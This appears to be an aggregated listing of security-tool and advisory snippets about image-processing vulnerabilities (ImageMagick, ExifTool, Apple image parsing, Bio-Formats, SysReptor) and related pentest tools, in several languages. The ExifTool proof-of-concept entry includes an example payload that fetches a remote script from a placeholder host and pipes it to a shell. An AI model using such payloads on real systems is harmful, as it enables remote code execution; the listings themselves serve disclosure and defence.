CVE-2020-29599

CVE-2020-29599 Artifex ImageMagick ライブラリ Artifex のバージョン 6.9.11-40 および 7.0. 10-40 では、SVG ファイルが画像に変換されます。...

CVE-2019-19634

CVE-2019-19634 - class.upload.php = 2.0.4 任意ファイルアップロード 作者 - Jinny Ramsmark 影響を受けるベンダー - Verot.net 影響を受ける製品 - class.upload.php = 2.0.4 新規インストールしたUbuntu 14.04（PHP5およびApache使用）でテスト済み 特にDebian/Ubuntuは、利用可能なPHPハンドラーにpht拡張子などを追加するため、脆弱性があることが判明しています。この場合、class.upload.phpはpht拡張子をブラックリストに登録していません。...

CVE-2021-22204

CVE-2021-22204 - ExifTool 任意代码実行 CVE-2021-22204 の改良版 Proof-of-Concept です。これは ExifTool バージョン 7.44 から 12.23 における脆弱性で、悪意のある DjVu ファイルを処理する際に任意のコード実行を可能にします。 クレジット これは派生作品です。脆弱性および元のエクスプロイトは私のものではありません。 役割| 誰 ---|--- 脆弱性の発見者| William Bowling @wcbowling、GitLab バグ報奨金プログラムを通じて報告 — 2021年4月 オリジナル PoC 作成者|...

sticky_keys_hunter

Sticky Keys Hunter This POC bash script tests for sticky keys and utilman backdoors. The script will connect to an RDP server, send both the sticky keys and utilman triggers and screenshot the result. This script was written to prove a theory I had about detecting these backdoors in a blackbox...

POC-CVE-2021-22204

POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 これはテスト用に私が書いた単なる便利スクリプトです。 出力 Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh" This poc generates an image file notevil.jpg to be proccessed by...

KeyDecoder

KeyDecoder KeyDecoder 是一款专为渗透测试人员和安全爱好者打造的移动应用。 通过一张钥匙的照片，即可轻松测量其牙花（bitting）。 由 Maxime BEASSE 和 Quentin CLEMENT 开发。 与 FrenchKey 以及 ESIEA 的 CNS 合作推出。 基于 Flutter 3.13.6 和 OpenCV 4.3.0 构建。 摘要 KeyDecoder 摘要 免责声明 安装 构建 Android IOS 发布版本 使用方法 拍照 裁剪 背面线 肩线 测量 常见问题 许可协议 免责声明 未经同意制作钥匙是违法的。...

shotlooter

はじめに Shotlooter ツールは、https://prnt.sc/ にアップロードされたスクリーンショット内の機密データを、OCR および画像処理手法を適用して検出するために開発されました。LightShot ソフトウェア経由 +-------------------+ IMAGE FILE |!/usr/bin/python | +--------------------+ | +-----SENSITIVE |prnt.sc/sjgmm5 | |Search for: | +--------------------+ | | | | CONVERTS STRING...

CVE-2025-43300

CVE-2025-43300：iOS/macOS DNG图像处理内存损坏 概述 CVE-2025-43300 是苹果图像处理框架中的一个关键内存损坏漏洞，影响 iOS 18.6.1 和 macOS 系统。该漏洞存在于 RawCamera.bundle 中的 JPEG 无损解压缩代码中，由 DNG 文件中 TIFF 元数据与 JPEG 流参数之间的不一致性触发。 漏洞详情 根本原因 漏洞源于 DNG（数字负片）文件中的元数据/流不一致： 1. TIFF 头中的 SamplesPerPixel 元数据 指示预期的颜色分量 2. JPEG 无损流中的 SOF3 分量计数 指定实际数据分量 3...

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo

CVE-2026-22187-Bio-Formats-unsafe-Java-deserialization-via-.bfmemo Bio-Formats ≤ 8.3.0 在图像处理过程中对攻击者控制的 .bfmemo 缓存文件执行不安全的 Java 反序列化；精心构造的 .bfmemo 可触发对不可信数据的反序列化（拒绝服务/逻辑篡改；若存在 gadget 链，则可能实现远程代码执行）。 安全复现（仅限本地） 此操作不会构建 gadget 链或执行代码。仅用于演示目的，展示 .bfmemo 会被反序列化。 在受控实验环境中，将 Bio-Formats 置于 classpath 中...

[SECURITY] Fedora 45 Update: perl-Imager-1.036-1.fc45

Imager is a module for creating and altering images. It can read and write various image formats, draw primitive shapes like lines,and polygons, blend multiple images together in various ways, scale, crop, render text and more...

CVE-2026-81180 SysReptor: Authenticated RCE by insecure image processing

SysReptor is a fully customizable pentest reporting platform. Prior to 2026.61, authenticated users of SysReptor Professional can upload image files whose formats cause image processing to invoke Ghostscript, allowing embedded PostScript to operate in the shared temporary directory. An attacker c...

ROOT-OS-DEBIAN-13-CVE-2026-56372 CVE-2026-56372 in imagemagick - Patched by Root

Root has patched CVE-2026-56372 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

ROOT-OS-DEBIAN-13-CVE-2026-61465 CVE-2026-61465 in imagemagick - Patched by Root

Root has patched CVE-2026-61465 in the imagemagick package for Root:Debian:13. Multiple fixed versions available...

CVE-2026-86882

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to...

CVE-2026-86869

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, macOS Golden Gate 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-84571

A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may lead to unexpected app termination...

CVE-2026-84564

An uninitialized memory issue was addressed with improved memory initialization. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted image may result i...

CVE-2026-84565

An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Processing a maliciously crafted disk image may lead to unexpected app termination...

CVE-2026-65395

An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted image may result in memory corruption...

CVE-2026-64752

A memory corruption issue was addressed by removing the vulnerable code. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, visionOS 27. Processing a maliciously crafted image may lead to arbitrary code execution...